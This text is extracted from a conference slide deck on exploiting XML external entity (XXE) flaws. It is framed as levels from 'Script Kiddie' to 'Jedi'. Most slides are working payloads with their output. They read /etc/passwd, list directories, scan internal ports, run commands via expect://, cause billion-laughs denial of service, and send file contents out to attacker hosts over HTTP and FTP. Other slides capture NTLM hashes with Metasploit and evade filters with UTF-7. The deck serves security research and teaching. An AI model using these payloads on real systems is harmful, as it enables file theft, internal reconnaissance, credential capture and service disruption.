XXE: How to become a Jedi
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The document provides instructions on how to exploit XML external entity (XXE) vulnerabilities and become a more advanced "Jedi" level hacker. It begins with XML basics and progresses through external entity attacks, file reads, port scanning, denial of service attacks, and advanced techniques like out-of-band data exfiltration and pass-the-hash attacks. The document emphasizes moving beyond just direct output to more stealthy, no-output exploitation.
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XXE: How to become a Jedi
- 1. XXE: How to become a Jedi Yaroslav Babin
- 2. • @yarbabin • Web Security Warrior @ Positive Technologies • BugBounty, CTF @ Antichat (а лучше бы рисечил) • JBFC WHOAMI
- 3. • Script Kiddie • Master • Jedi Levels
- 5. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> • RSS, Configs • SOAP • SVG, XMP • XMPP XML Basics
- 6. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Prolog Document Type Definition Document XML Basics
- 7. <?xml version="1.0"?> <!DOCTYPE name [<!ELEMENT name ANY>]> <name>ZeroNights</name> Hello, ZeroNights XML Basics
- 8. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol “ZeroNights”>]> <name>&lol;</name> Hello, ZeroNights Document Type Definition: Entity lol = “ZeroNights”
- 9. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Document Type Definition: External Entity lol = readfile(“file:///etc/passwd”)
- 10. • DNS/HTTP • Parser errors • Very large files • /dev/urandom • /dev/zero How To Check?
- 11. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “http://dns.sniff/chk”>]> <name>&lol;</name> Hello, 123 DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat chk 123 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" $ cat /var/log/apache2/access.log
- 12. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://dns.sniff/chk”> <name>1</name> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /chk HTTP/1.1" 200 3 "-" DNS/HTTP lol = readfile(“http://dns.sniff/chk”) $ cat /var/log/apache2/access.log
- 13. <?xml version="1.0"?> <!DOCTYPE name SYSTEM “http://no.resolve/”> <name>1</name> JAXBException occurred: Connection Timeout Parser Errors Non resolving host Response
- 14. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> Large Files lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
- 15. Master
- 16. • Arbitrary file reading • Sometimes directory listing • SSRF • Port scanning • SMB • Wrappers • DOS • Billion Laughs Attack • Large file Attack vectors
- 17. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Arbitrary File Reading Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lol = readfile(“file:///etc/passwd”)
- 18. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///”>]> <name>&lol;</name> Directory Listing (Java) Hello, bin boot dev etc lol = readfile(“file:///”)
- 19. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “ftp://localhost/1.txt”> ]> <name>&lol;</name> Directory Listing (Java) Hello, file_content • https:// • ftps:// • gopher:// • etc
- 20. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://localhost:81”>]> <name>&lol;</name> Port Scanning Hello, INTERNAL WEB SERVER
- 21. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “smb_shareC$1.txt”>]> <name>&lol;</name> Windows Share Hello, file_content
- 22. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “php://filter/convert.base64- encode/resource=/etc/passwd”> ]> <name>&lol;</name> Wrappers Hello, cm9vdDp4OjA6MDpyb290Oi9yb290Oi 9iaW4vYmFzaApkYWVtb246eDoxOjE6Z GFlbW9uOi91c3Iv… • data:// • phar:// • rar:// • etc
- 23. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “expect://id”> ]> <name>&lol;</name> Wrappers (RCE) Hello, uid=0(root) gid=0(root) groups=0(root) By default off
- 24. <?xml version="1.0"?> <!DOCTYPE name [<!ENTITY lol SYSTEM “file:///dev/urandom”>]> <name>&lol;</name> DOS (Large File) lol = readfile(“file:///deb/urandom”) Pinging 192.168.0.1 with 32 bytes of data: Request time out. C:>ping 192.168.0.1 ¯_(ツ)_/¯
- 25. <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY a0 “lol" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> ... <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> ]> <data>&a10;</data> DOS (Billion Laughs Attack)
- 26. • Direct output • Output in response • Error-based • DTD structure • XML schema validation • Out-of-band • NO output required • Blind-based • XSD values bruteforce Exploitation Techniques
- 27. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin Direct Output lol = readfile(“file:///etc/passwd”)
- 28. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> Out-Of-Band <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7/?%data;'>"> data = readfile(“/etc/passwd”) 192.168.0.1 - - [17/Nov/2017:13:37:00 +0300] “GET /? root:x:0:0:root:/root:/bin /bash
- 29. <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> Error Based <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http%data;://1.3.3.7/;'>"> data = readfile(“/etc/passwd”)
- 30. • Quotes • Well-Formed Documents (< > &) • Privileges Constraints
- 31. • OOXML (DOCX, XLSX, PPTX), ODF, PDF, RSS • SVG, XMP • WebDAV, XMLRPC, SOAP, XMPP, SAML • Databases • etc XML
- 32. 4ML ARMLL BiblioML CIDX eBIS-XML HTTP-DRP MatML ODRL PrintTalk SHOE UML XML F AML ARMLL BCXML xCIL ECML HumanML MathML OeBPS ProductionML SIF UBL XML Key AML ASMLL BEEP CLT eCo HyTime MBAM OFX PSL SMML UCLP XMLife AML ASMLL BGML CNRP EcoKnow IML MISML OIL PSI SMBXML UDDI XML MP AML ASTM BHTML ComicsML edaXML ICML MCF OIM QML SMDL UDEF XML News AML ATMLL BIBLIOML Covad xLink EMSA IDE MDDL OLifE QAML SDML UIML XML RPC AML ATMLL BIOML CPL eosML IDML MDSI-XML OML QuickData SMIL ULF XML Schema ABML ATMLL BIPS CP eXchangeESML IDWG Metarule ONIX DTD RBAC SOAP UMLS XML Sign ABML ATMLL BizCodes CSS ETD-ML IEEE DTD MFDX OOPML RDDl SODL UPnP XML Query ACML AWMLL BLM XML CVML FieldML IFX MIX OPML RDF SOX URI/URL XML P7C ACML AXMLL BPML CWMI FINML IMPP MMLL OpenMath RDL SPML UXF XML TP ACAP AXMLL BRML CycML FITS IMS Global MML Office XML RecipeML SpeechML VML XMLVoc ACS X12 AXMLL BSML DML FIXML InTML MML OPML RELAX SSML vCalendar XML XCI ADML AXMLL CML DAML FLBC IOTP MML OPX RELAX NG STML vCard XAML AECM BMLL xCML DaliML FLOWML IRML MoDL OSD REXML STEP VCML XACML AFML BMLL CaXML DaqXML FPML IXML MOS OTA REPML STEPML VHG XBL AGML BMLL CaseXML DAS FSML IXRetail MPML PML ResumeXML SVG VIML XSBEL AHML BMLL xCBL DASL GML JabberXML MPXML PML RETML SWAP VISA XML XBN AIML BMLL CBML DCMI GML JDF MRML PML RFML SWMS VMML XBRL AIML BMLL CDA DOI GML JDox MSAML PML RightsLang SyncML VocML XCFF AIF BannerrMLLCDF DeltaV GXML JECMM MTML PML RIXML TML VoiceXML XCES AL3 BCXMLL CDISC DIG35 GAME JLife MTML PML RoadmOPS TML VRML Xchart ANML BEEP CELLML DLML GBXML JSML MusicXML PML RosettaNet PIPTML WAP Xdelta ANNOTEABGMLL ChessGML DMML GDML JSML NAML PML RSS TalkML WDDX XDF ANATML BHTMLL ChordML DocBook GEML JScoreML xNAL P3P RuleML TaxML WebML XForms APML BIIBLLIIOMLLChordQL DocScope GEDML KBML NAA Ads PDML SML TDL WebDAV XGF APPML BIIOMLL CIM DoD XML GEN LACITO Navy DTD PDX SML TDML WellML XGL AQL BIIPS CIML DPRL GeoLang LandXML NewsML PEF XML SML TEI WeldingXMXLGMML APPEL BiizzCodess CIDS DRI GIML LEDES NML PetroML SML ThML Wf-XML XHTML ARML BLLM XMLL CIDX DSML GXD LegalXML NISO DTB PGML SAML TIM WIDL XIOP ARML BPMLL xCIL DSD GXL Life Data NITF PhysicsML SABLE TIM WITSML XLF ASML BRMLL CLT DXS Hy XM LitML NLMXML PICS SAE J2008 TMML WorldOS XLIFF ASML BSMLL CNRP EML HITIS LMML NVML PMML SBML TMX WSML XLink ASTM BBCXXMLL ComicsML EML HR-XML LogML OAGIS PNML Schemtron TP WSIA XMI ARML BBEEEEPP CIM DLML HRMML LogML OBI PNML SDML TPAML XML XMSG ARML BBGMLL CIML EAD HTML LTSC XML OCF PNG SearchDM-XMLTREX XML CourtXMTP ASML BBHTTMLL CIDS ebXML HTTPL MAML ODF PrintML SGML TxLife XML EDI XNS XML
- 33. • zip://your_doc.docx: • docProps/ • word/ • _rels/ • [Content_Types].xml OOXML (Microsoft Office)
- 34. • zip://your_odt.odt: • META-INF/ • content.xml • meta.xml • mimetype • settings.xml • styles.xml OpenOffice
- 35. Adobe’s Extensible Metadata Platform (XMP) is a file labeling technology that lets you embed metadata into files themselves during the content creation process. Adobe XMP V for Vendetta, X for XML
- 36. <?xpacket begin="?" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4-c002 1.000000, 0000/00/00-00:00:00"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?> Adobe XMP
- 37. > select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>'); ERROR: invalid XML document DETAILS: /etc/passwd:28: parser error : StartTag: invalid element name root:x:0:0:root:/root:/bin/bash XML Parsers In Databases (PostgreSQL)
- 38. > select extractvalue(xmltype('<?xml version="1.0" encoding=" UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM " ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual; XML Parsers In Databases (Oracle, CVE-2014-6577) > USER SYSTEM 331 Password required for system PASS *** $ ruby ftp.rb
- 39. POST /api HTTP/1.1 Host: api.host Content-Type: application/json {“name”:”ZeroNights”} JSON Parser Hello, ZeroNights
- 40. POST /api HTTP/1.1 Host: api.host Content-Type: application/xml <name>ZeroNights</name> JSON Parser Hello, ZeroNights
- 41. Jedi
- 42. msf > use auxillary/server/capture/http_ntlm [*] Local IP: http://1.3.3.7/capture [*] Server started. Pass The Hash
- 43. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol SYSTEM “http://1.3.3.7/capture”>]> <name>&lol;</name> Pass The Hash
- 44. Pass The Hash
- 45. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable Firewall
- 46. • No direct output, no errors • DNS request works • HTTP via 80 port not working • It's not exploitable • Try to use another port Firewall f*ck off (:
- 47. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes • When yes: ignore declarations (only validation) • By default: no
- 48. <?xml version="1.0“ encoding=“UTF-8” standalone=“no”?> Prolog: Optional Attributes And Encodings • UTF-16LE, UTF-16BE • UTF-7 • etc <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE x +AFsAPAAh-ENTITY z SYSTEM +ACI- /etc/passwd+ACIAPgBdAD4APA- x+AD4AJg-z+ADsAPA-/x+AD4
- 49. <?xml version="1.0"?> <!DOCTYPE name [ <!ENTITY lol PUBLIC “lol” “file:///etc/passwd”>]> <name>&lol;</name> Hello, root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin PUBLIC “same” the SYSTEM lol = readfile(“file:///etc/passwd”) Any text
- 50. • <tag xsi:schemaLocation=“…”/> • <tag xsi:noNamespaceSchemaLoca8on=“…”/> • <xs:include schemaLocation=“…”> • <xs:import schemaLocation=“…”> • <?xml-stylesheet href=“…”?> Other Parsers
- 51. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (<1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY % trick SYSTEM 'http://1.3.3.7/?%payl;'>"> 1.3.3.7 - - [17/Nov/2017:13:37:00 +0300] “GET /?bin%0Aboot%0Adev%0Aetc… $ cat /var/log/apache2/access.log
- 52. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (>=1.7) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY % trick SYSTEM 'http://1.3.3.7/?%payl;'>"> java.net.MalformedURLException: Illegal character in URL Response
- 53. <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/a.xml"> %remote; %intern; %trick; ]> Java Problems (From 1.7 To 1.8.131) <!ENTITY % payl SYSTEM "/"> <!ENTITY % intern "<!ENTITY % trick SYSTEM ‘ftp://1.3.3.7/%payl;'>"> New client connected < USER anonymous < PASS Java1.7.0_45@ > 230 more data please! < TYPE I > 230 more data please! < CWD bin … $ ruby ftp.rb
- 54. • Java • Xerces, Crimson, Piccolo • PHP • SimpleXML, XMLReader, DOMDocument (LibXML) • Perl • Twig, LibXml • .NET • XmlReader, XmlDocument • Python • Etree, xml.sax, pulldom, lxml • Ruby • REXML, Nokogiri Parsers
- 55. • XXE, Burp Suite plugin • XXE Internet Explorer • XXE Yandex • XXE JSON Examples
- 56. XXE Yandex
- 57. XXE Yandex
- 58. JSON2XML
- 59. JSON2XML
- 60. JSON2XML
- 62. • @a66at • @mohemiv • @okiok • https://phonexicum.github.io/infosec/xxe.html • http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html • http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html • https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf • https://www.sans.org/reading-room/whitepapers/application/hands-on-xml-external-entity- vulnerability-training-module-34397 • http://www.slideshare.net/d0znpp/onsec-phdays-2012-xxe-incapsulated-report • https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/ References & Thx